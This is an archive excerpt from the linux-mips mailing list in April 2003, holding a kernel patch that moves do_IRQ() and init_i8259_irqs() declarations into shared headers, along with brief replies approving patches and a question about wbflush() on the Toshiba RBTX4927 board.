diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/jazz/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/jazz/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/jazz/irq.c	2001-12-18 05:27:34.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/jazz/irq.c	2002-12-18 00:56:22.000000000 +0000
@@ -12,6 +12,7 @@
 #include <linux/kernel.h>
 #include <linux/spinlock.h>
 
+#include <asm/i8259.h>
 #include <asm/io.h>
 #include <asm/jazz.h>
 
@@ -19,7 +20,7 @@ extern asmlinkage void jazz_handle_int(v
 
 /*
  * On systems with i8259-style interrupt controllers we assume for
- * driver compatibility reasons interrupts 0 - 15 to be the i8295
+ * driver compatibility reasons interrupts 0 - 15 to be the i8259
  * interrupts even if the hardware uses a different interrupt numbering.
  */
 void __init init_IRQ (void)
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/jmr3927/rbhma3100/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/jmr3927/rbhma3100/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/jmr3927/rbhma3100/irq.c	2003-02-27 03:56:32.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/jmr3927/rbhma3100/irq.c	2003-04-13 18:00:29.000000000 +0000
@@ -33,6 +33,7 @@
 #include <linux/init.h>
 
 #include <linux/errno.h>
+#include <linux/irq.h>
 #include <linux/kernel_stat.h>
 #include <linux/signal.h>
 #include <linux/sched.h>
@@ -47,7 +48,6 @@
 
 #include <asm/bitops.h>
 #include <asm/io.h>
-#include <asm/irq.h>
 #include <asm/mipsregs.h>
 #include <asm/system.h>
 
@@ -287,7 +287,6 @@ void jmr3927_spurious(struct pt_regs *re
 	       regs->cp0_cause, regs->cp0_epc, regs->regs[31]);
 }
 
-extern asmlinkage void do_IRQ(int irq, struct pt_regs *regs);
 void jmr3927_irc_irqdispatch(struct pt_regs *regs)
 {
 	int irq;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/kernel/i8259.c linux-mips-2.4.21-pre4-20030414/arch/mips/kernel/i8259.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/kernel/i8259.c	2002-08-06 02:57:16.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/kernel/i8259.c	2003-04-14 21:45:14.000000000 +0000
@@ -15,6 +15,7 @@
 #include <linux/kernel.h>
 #include <linux/spinlock.h>
 
+#include <asm/i8259.h>
 #include <asm/io.h>
 
 void enable_8259A_irq(unsigned int irq);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/lasat/interrupt.c linux-mips-2.4.21-pre4-20030414/arch/mips/lasat/interrupt.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/lasat/interrupt.c	2003-02-25 03:56:37.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/lasat/interrupt.c	2003-04-13 18:00:29.000000000 +0000
@@ -40,7 +40,6 @@ static volatile int *lasat_int_mask = NU
 static volatile int lasat_int_mask_shift;
 
 extern asmlinkage void mipsIRQ(void);
-extern void do_IRQ(int irq, struct pt_regs *regs);
 
 #if 0
 #define DEBUG_INT(x...) printk(x)
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mips-boards/atlas/atlas_int.c linux-mips-2.4.21-pre4-20030414/arch/mips/mips-boards/atlas/atlas_int.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mips-boards/atlas/atlas_int.c	2003-02-27 03:56:32.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/mips-boards/atlas/atlas_int.c	2003-04-13 18:00:29.000000000 +0000
@@ -40,7 +40,6 @@ struct atlas_ictrl_regs *atlas_hw0_icreg
 	= (struct atlas_ictrl_regs *)ATLAS_ICTRL_REGS_BASE;
 
 extern asmlinkage void mipsIRQ(void);
-extern void do_IRQ(int irq, struct pt_regs *regs);
 
 #if 0
 #define DEBUG_INT(x...) printk(x)
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mips-boards/malta/malta_int.c linux-mips-2.4.21-pre4-20030414/arch/mips/mips-boards/malta/malta_int.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mips-boards/malta/malta_int.c	2003-02-27 03:56:32.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/mips-boards/malta/malta_int.c	2003-04-13 18:00:29.000000000 +0000
@@ -23,13 +23,14 @@
  */
 #include <linux/config.h>
 #include <linux/init.h>
+#include <linux/irq.h>
 #include <linux/sched.h>
 #include <linux/slab.h>
 #include <linux/interrupt.h>
 #include <linux/kernel_stat.h>
 #include <linux/random.h>
 
-#include <asm/irq.h>
+#include <asm/i8259.h>
 #include <asm/io.h>
 #include <asm/mips-boards/malta.h>
 #include <asm/mips-boards/maltaint.h>
@@ -39,8 +40,6 @@
 #include <asm/mips-boards/msc01_pci.h>
 
 extern asmlinkage void mipsIRQ(void);
-extern asmlinkage void do_IRQ(int irq, struct pt_regs *regs);
-extern void init_i8259_irqs (void);
 extern int mips_pcibios_iack(void);
 
 #ifdef CONFIG_KGDB
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mips-boards/sead/sead_int.c linux-mips-2.4.21-pre4-20030414/arch/mips/mips-boards/sead/sead_int.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mips-boards/sead/sead_int.c	2002-12-04 03:56:36.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/mips-boards/sead/sead_int.c	2002-12-19 17:58:58.000000000 +0000
@@ -25,17 +25,16 @@
  */
 #include <linux/config.h>
 #include <linux/init.h>
+#include <linux/irq.h>
 #include <linux/sched.h>
 #include <linux/slab.h>
 #include <linux/interrupt.h>
 #include <linux/kernel_stat.h>
 
-#include <asm/irq.h>
 #include <asm/mips-boards/sead.h>
 #include <asm/mips-boards/seadint.h>
 
 extern asmlinkage void mipsIRQ(void);
-extern void do_IRQ(int irq, struct pt_regs *regs);
 
 void disable_sead_irq(unsigned int irq_nr)
 {
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/momentum/ocelot_c/cpci-irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/momentum/ocelot_c/cpci-irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/momentum/ocelot_c/cpci-irq.c	2002-11-11 23:05:46.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/momentum/ocelot_c/cpci-irq.c	2002-12-19 17:59:28.000000000 +0000
@@ -19,17 +19,15 @@
 
 #include <linux/module.h>
 #include <linux/interrupt.h>
+#include <linux/irq.h>
 #include <linux/kernel.h>
 #include <asm/ptrace.h>
 #include <linux/config.h>
 #include <linux/sched.h>
 #include <linux/kernel_stat.h>
 #include <asm/io.h>
-#include <asm/irq.h>
 #include "ocelot_c_fpga.h"
 
-extern unsigned int do_IRQ(int irq, struct pt_regs *regs);
-
 #define CPCI_IRQ_BASE	8
 
 static inline int ls1bit8(unsigned int x)
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/momentum/ocelot_c/mv-irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/momentum/ocelot_c/mv-irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/momentum/ocelot_c/mv-irq.c	2002-11-11 23:05:46.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/momentum/ocelot_c/mv-irq.c	2002-12-19 17:59:55.000000000 +0000
@@ -14,17 +14,15 @@
 
 #include <linux/module.h>
 #include <linux/interrupt.h>
+#include <linux/irq.h>
 #include <linux/kernel.h>
 #include <asm/ptrace.h>
 #include <linux/config.h>
 #include <linux/sched.h>
 #include <linux/kernel_stat.h>
 #include <asm/io.h>
-#include <asm/irq.h>
 #include <asm/mv64340.h>
 
-extern unsigned int do_IRQ(int irq, struct pt_regs *regs);
-
 #define MV64340_IRQ_BASE	16
 
 static inline int ls1bit32(unsigned int x)
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/momentum/ocelot_c/uart-irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/momentum/ocelot_c/uart-irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/momentum/ocelot_c/uart-irq.c	2002-11-11 23:05:46.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/momentum/ocelot_c/uart-irq.c	2002-12-19 18:00:27.000000000 +0000
@@ -14,6 +14,7 @@
 
 #include <linux/module.h>
 #include <linux/interrupt.h>
+#include <linux/irq.h>
 #include <linux/kernel.h>
 #include <asm/ptrace.h>
 #include <linux/config.h>
@@ -23,8 +24,6 @@
 #include <asm/irq.h>
 #include "ocelot_c_fpga.h"
 
-extern unsigned int do_IRQ(int irq, struct pt_regs *regs);
-
 static inline int ls1bit8(unsigned int x)
 {
         int b = 7, s;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/philips/nino/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/philips/nino/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/philips/nino/irq.c	2003-02-27 03:56:43.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/philips/nino/irq.c	2003-04-13 18:00:29.000000000 +0000
@@ -11,6 +11,7 @@
  */
 #include <linux/config.h>
 #include <linux/init.h>
+#include <linux/irq.h>
 #include <linux/sched.h>
 #include <linux/interrupt.h>
 #include <asm/io.h>
@@ -19,8 +20,6 @@
 
 #define ALLINTS (IE_IRQ0 | IE_IRQ1 | IE_IRQ2 | IE_IRQ3 | IE_IRQ4 | IE_IRQ5)
 
-extern asmlinkage void do_IRQ(int irq, struct pt_regs *regs);
-
 static void enable_irq6(unsigned int irq)
 {
 	if(irq == 0) {
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sgi-ip22/ip22-eisa.c linux-mips-2.4.21-pre4-20030414/arch/mips/sgi-ip22/ip22-eisa.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sgi-ip22/ip22-eisa.c	2003-03-20 03:56:31.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/sgi-ip22/ip22-eisa.c	2003-04-13 18:02:59.000000000 +0000
@@ -22,6 +22,7 @@
 #include <linux/config.h>
 #include <linux/types.h>
 #include <linux/init.h>
+#include <linux/irq.h>
 #include <linux/kernel_stat.h>
 #include <linux/signal.h>
 #include <linux/sched.h>
@@ -35,8 +36,6 @@
 #include <asm/sgi/mc.h>
 #include <asm/sgi/ip22.h>
 
-extern void do_IRQ(int irq, struct pt_regs *regs);
-
 #define EISA_MAX_SLOTS		  4
 #define EISA_MAX_IRQ             16
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sgi-ip22/ip22-int.c linux-mips-2.4.21-pre4-20030414/arch/mips/sgi-ip22/ip22-int.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sgi-ip22/ip22-int.c	2003-03-25 03:56:42.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/sgi-ip22/ip22-int.c	2003-04-13 18:03:28.000000000 +0000
@@ -36,7 +36,6 @@ static char lc2msk_to_irqnr[256];
 static char lc3msk_to_irqnr[256];
 
 extern asmlinkage void indyIRQ(void);
-extern void do_IRQ(int irq, struct pt_regs *regs);
 extern int ip22_eisa_init(void);
 
 static void enable_local0_irq(unsigned int irq)
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sgi-ip27/ip27-irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/sgi-ip27/ip27-irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sgi-ip27/ip27-irq.c	2002-08-06 02:57:33.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/sgi-ip27/ip27-irq.c	2002-12-19 18:02:29.000000000 +0000
@@ -7,6 +7,7 @@
  */
 #include <linux/config.h>
 #include <linux/init.h>
+#include <linux/irq.h>
 #include <linux/errno.h>
 #include <linux/signal.h>
 #include <linux/sched.h>
@@ -25,7 +26,6 @@
 #include <asm/io.h>
 #include <asm/mipsregs.h>
 #include <asm/system.h>
-#include <asm/irq.h>
 
 #include <asm/ptrace.h>
 #include <asm/processor.h>
@@ -68,7 +68,6 @@ unsigned char num_bridges;	/* number of 
  */
 
 extern asmlinkage void ip27_irq(void);
-extern void do_IRQ(int irq, struct pt_regs *regs);
 
 extern int irq_to_bus[], irq_to_slot[], bus_to_cpu[];
 int intr_connect_level(int cpu, int bit);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sgi-ip32/ip32-irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/sgi-ip32/ip32-irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sgi-ip32/ip32-irq.c	2002-12-04 03:56:38.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/sgi-ip32/ip32-irq.c	2002-12-19 18:04:05.000000000 +0000
@@ -12,6 +12,7 @@
 #include <linux/kernel_stat.h>
 #include <linux/types.h>
 #include <linux/interrupt.h>
+#include <linux/irq.h>
 #include <linux/bitops.h>
 #include <linux/kernel.h>
 #include <linux/slab.h>
@@ -115,7 +116,6 @@ struct irqaction cpuerr_irq = { crime_cp
 			       NULL };
 
 extern void ip32_handle_int (void);
-asmlinkage unsigned int do_IRQ(int irq, struct pt_regs *regs);
 
 /*
  * For interrupts wired from a single device to the CPU.  Only the clock
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sni/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/sni/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/sni/irq.c	2001-12-18 05:27:36.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/sni/irq.c	2002-12-19 18:04:24.000000000 +0000
@@ -9,16 +9,17 @@
 #include <linux/delay.h>
 #include <linux/init.h>
 #include <linux/interrupt.h>
+#include <linux/irq.h>
 #include <linux/kernel.h>
 #include <linux/spinlock.h>
 
+#include <asm/i8259.h>
 #include <asm/io.h>
 #include <asm/sni.h>
 
 spinlock_t pciasic_lock = SPIN_LOCK_UNLOCKED;
 
 extern asmlinkage void sni_rm200_pci_handle_int(void);
-extern void do_IRQ(int irq, struct pt_regs *regs);
 
 static void enable_pciasic_irq(unsigned int irq);
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_irq.c	2003-04-11 17:26:20.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_irq.c	2003-04-14 21:46:58.000000000 +0000
@@ -670,7 +670,6 @@ static void toshiba_rbtx4927_irq_isa_end
 void __init init_IRQ(void)
 {
 	extern void tx4927_irq_init(void);
-	extern void init_i8259_irqs(void);
 
 	cli();
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/vr41xx/common/giu.c linux-mips-2.4.21-pre4-20030414/arch/mips/vr41xx/common/giu.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/vr41xx/common/giu.c	2003-04-07 02:56:30.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/vr41xx/common/giu.c	2003-04-13 18:00:30.000000000 +0000
@@ -211,8 +211,6 @@ int vr41xx_cascade_irq(unsigned int irq,
 	return retval;
 }
 
-extern unsigned int do_IRQ(int irq, struct pt_regs *regs);
-
 unsigned int giuint_do_IRQ(int pin, struct pt_regs *regs)
 {
 	struct vr41xx_giuint_cascade *cascade;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/vr41xx/common/icu.c linux-mips-2.4.21-pre4-20030414/arch/mips/vr41xx/common/icu.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/vr41xx/common/icu.c	2003-04-07 02:56:30.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/vr41xx/common/icu.c	2003-04-13 18:00:30.000000000 +0000
@@ -58,7 +58,6 @@ extern asmlinkage void vr41xx_handle_int
 
 extern void __init init_generic_irq(void);
 extern void mips_cpu_irq_init(u32 irq_base);
-extern unsigned int do_IRQ(int irq, struct pt_regs *regs);
 
 extern void vr41xx_giuint_init(void);
 extern unsigned int giuint_do_IRQ(int pin, struct pt_regs *regs);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips64/kernel/i8259.c linux-mips-2.4.21-pre4-20030414/arch/mips64/kernel/i8259.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips64/kernel/i8259.c	2002-08-06 02:57:35.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips64/kernel/i8259.c	2003-04-14 21:45:24.000000000 +0000
@@ -15,6 +15,7 @@
 #include <linux/kernel.h>
 #include <linux/spinlock.h>
 
+#include <asm/i8259.h>
 #include <asm/io.h>
 
 void enable_8259A_irq(unsigned int irq);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips/i8259.h linux-mips-2.4.21-pre4-20030414/include/asm-mips/i8259.h
--- linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips/i8259.h	1970-01-01 00:00:00.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/include/asm-mips/i8259.h	2002-12-21 11:17:35.000000000 +0000
@@ -0,0 +1,23 @@
+/*
+ *	include/asm-mips/i8259.h
+ *
+ *	i8259A interrupt definitions.
+ *
+ *	Copyright (C) 2003  Maciej W. Rozycki
+ *
+ *	This program is free software; you can redistribute it and/or
+ *	modify it under the terms of the GNU General Public License
+ *	as published by the Free Software Foundation; either version
+ *	2 of the License, or (at your option) any later version.
+ */
+#ifndef __ASM_MIPS_I8259_H
+#define __ASM_MIPS_I8259_H
+
+#include <linux/spinlock.h>
+
+#include <asm/io.h>
+#include <asm/system.h>
+
+extern void init_i8259_irqs(void);
+
+#endif /* __ASM_MIPS_I8259_H */
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips/irq.h linux-mips-2.4.21-pre4-20030414/include/asm-mips/irq.h
--- linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips/irq.h	2002-12-16 04:19:56.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/include/asm-mips/irq.h	2002-12-21 11:16:52.000000000 +0000
@@ -12,6 +12,7 @@
 #define _ASM_IRQ_H
 
 #include <linux/config.h>
+#include <linux/linkage.h>
 
 #define NR_IRQS 128		/* Largest number of ints of all machines.  */
 
@@ -24,13 +25,13 @@ static inline int irq_cannonicalize(int 
 #define irq_cannonicalize(irq) (irq)	/* Sane hardware, sane code ... */
 #endif
 
-struct irqaction;
-extern int i8259_setup_irq(int irq, struct irqaction * new);
-
 extern void disable_irq(unsigned int);
 extern void disable_irq_nosync(unsigned int);
 extern void enable_irq(unsigned int);
 
+struct pt_regs;
+extern asmlinkage unsigned int do_IRQ(int irq, struct pt_regs *regs);
+
 /* Machine specific interrupt initialization  */
 extern void (*irq_setup)(void);
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips64/i8259.h linux-mips-2.4.21-pre4-20030414/include/asm-mips64/i8259.h
--- linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips64/i8259.h	1970-01-01 00:00:00.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/include/asm-mips64/i8259.h	2002-12-21 11:17:43.000000000 +0000
@@ -0,0 +1,23 @@
+/*
+ *	include/asm-mips/i8259.h
+ *
+ *	i8259A interrupt definitions.
+ *
+ *	Copyright (C) 2003  Maciej W. Rozycki
+ *
+ *	This program is free software; you can redistribute it and/or
+ *	modify it under the terms of the GNU General Public License
+ *	as published by the Free Software Foundation; either version
+ *	2 of the License, or (at your option) any later version.
+ */
+#ifndef __ASM_MIPS64_I8259_H
+#define __ASM_MIPS64_I8259_H
+
+#include <linux/spinlock.h>
+
+#include <asm/io.h>
+#include <asm/system.h>
+
+extern void init_i8259_irqs(void);
+
+#endif /* __ASM_MIPS64_I8259_H */
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips64/irq.h linux-mips-2.4.21-pre4-20030414/include/asm-mips64/irq.h
--- linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips64/irq.h	2003-01-27 00:04:58.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/include/asm-mips64/irq.h	2003-04-13 18:00:30.000000000 +0000
@@ -12,6 +12,7 @@
 #define _ASM_IRQ_H
 
 #include <linux/config.h>
+#include <linux/linkage.h>
 #include <asm/sn/arch.h>
 
 #define NR_IRQS 256
@@ -42,13 +43,13 @@ static inline int irq_cannonicalize(int 
 #define irq_cannonicalize(irq) (irq)	/* Sane hardware, sane code ... */
 #endif
 
-struct irqaction;
-extern int i8259_setup_irq(int irq, struct irqaction * new);
-
 extern void disable_irq(unsigned int);
 extern void disable_irq_nosync(unsigned int);
 extern void enable_irq(unsigned int);
 
+struct pt_regs;
+extern asmlinkage unsigned int do_IRQ(int irq, struct pt_regs *regs);
+
 /* Machine specific interrupt initialization  */
 extern void (*irq_setup)(void);
 


From macro@ds2.pg.gda.pl Tue Apr 15 15:21:33 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 15:21:33 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:29138 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225264AbTDOOVd>; Tue, 15 Apr 2003 15:21:33 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id QAA15979;
	Tue, 15 Apr 2003 16:22:12 +0200 (MET DST)
Date: Tue, 15 Apr 2003 16:22:12 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: linux-mips@linux-mips.org
cc: source@mvista.com
Subject: wbflush() abuse for TOSHIBA_RBTX4927
Message-ID: <Pine.GSO.3.96.1030415161611.13254H-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2055
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

Hello,

 I see wbflush() is abused in an interesting and inefficient way for
TOSHIBA_RBTX4927.  Is there any specific reason for such a setup?

  Maciej

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From ralf@linux-mips.net Tue Apr 15 15:26:16 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 15:26:17 +0100 (BST)
Received: from p508B74BA.dip.t-dialin.net ([IPv6:::ffff:80.139.116.186]:52374
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225264AbTDOO0Q>; Tue, 15 Apr 2003 15:26:16 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3FEQAC08872;
	Tue, 15 Apr 2003 16:26:10 +0200
Date: Tue, 15 Apr 2003 16:26:10 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Cc: linux-mips@linux-mips.org
Subject: Re: [patch] do_IRQ() and init_i8259_irqs() declarations
Message-ID: <20030415162610.A8778@linux-mips.org>
References: <Pine.GSO.3.96.1030415160755.13254G-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.GSO.3.96.1030415160755.13254G-100000@delta.ds2.pg.gda.pl>; from macro@ds2.pg.gda.pl on Tue, Apr 15, 2003 at 04:15:47PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2056
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 15, 2003 at 04:15:47PM +0200, Maciej W. Rozycki wrote:

>  There is a number of private declarations of do_IRQ() and
> init_i8259_irqs() scattered through the code.  These for do_IRQ() often
> have a different "opinion" on how the function is interfaced... 
> 
>  The following patch puts public declarations in appropriate headers and
> converts users of these functions to get the prototypes from there
> instead.  It also removes various related unused declarations. 
> 
>  OK?

Yes, please.

From ralf@linux-mips.net Tue Apr 15 15:36:03 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 15:36:04 +0100 (BST)
Received: from p508B74BA.dip.t-dialin.net ([IPv6:::ffff:80.139.116.186]:61590
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225264AbTDOOgD>; Tue, 15 Apr 2003 15:36:03 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3FEZwg09071;
	Tue, 15 Apr 2003 16:35:58 +0200
Date: Tue, 15 Apr 2003 16:35:58 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Cc: linux-mips@linux-mips.org
Subject: Re: [patch] cp0.config access macros
Message-ID: <20030415163558.B8778@linux-mips.org>
References: <Pine.GSO.3.96.1030415155224.13254F-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.GSO.3.96.1030415155224.13254F-100000@delta.ds2.pg.gda.pl>; from macro@ds2.pg.gda.pl on Tue, Apr 15, 2003 at 04:07:18PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2057
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 15, 2003 at 04:07:18PM +0200, Maciej W. Rozycki wrote:

>  Cryptic cp0.config accesses using hardcoded numbers are scattered through
> the sources.  I propose adding a few definitions to improve readability
> and ease grepping the sources.  This is for solely for cp0.config now -- I
> fixed all references I had docs handy for.  The next step should probably
> be cp0.config1.
> 
>  Beside that, the following patch fixes cache size units to be kilobytes
> instead of kilobits and fixes the R4000SC erratum #5 trigger. 
> 
>  OK?

Yep.

(I'm not sure if in case of the IC, IB, DC and DB bits this is not adding
some confusion - the same bits with slightly different meaning or position
exist in various processors so we may want some distinguishable names
eventually)

  Ralf

From kevink@mips.com Tue Apr 15 15:46:28 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 15:46:31 +0100 (BST)
Received: from mx2.mips.com ([IPv6:::ffff:206.31.31.227]:19364 "EHLO
	mx2.mips.com") by linux-mips.org with ESMTP id <S8225202AbTDOOq2>;
	Tue, 15 Apr 2003 15:46:28 +0100
Received: from newman.mips.com (ns-dmz [206.31.31.225])
	by mx2.mips.com (8.12.5/8.12.5) with ESMTP id h3FEk6Ue008145;
	Tue, 15 Apr 2003 07:46:06 -0700 (PDT)
Received: from grendel (grendel [192.168.236.16])
	by newman.mips.com (8.9.3/8.9.0) with SMTP id HAA01823;
	Tue, 15 Apr 2003 07:46:05 -0700 (PDT)
Message-ID: <00ae01c3035e$d431aba0$10eca8c0@grendel>
From: "Kevin D. Kissell" <kevink@mips.com>
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>,
	<linux-mips@linux-mips.org>
Cc: <source@mvista.com>
References: <Pine.GSO.3.96.1030415161611.13254H-100000@delta.ds2.pg.gda.pl>
Subject: Re: wbflush() abuse for TOSHIBA_RBTX4927
Date: Tue, 15 Apr 2003 16:53:49 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
Return-Path: <kevink@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2058
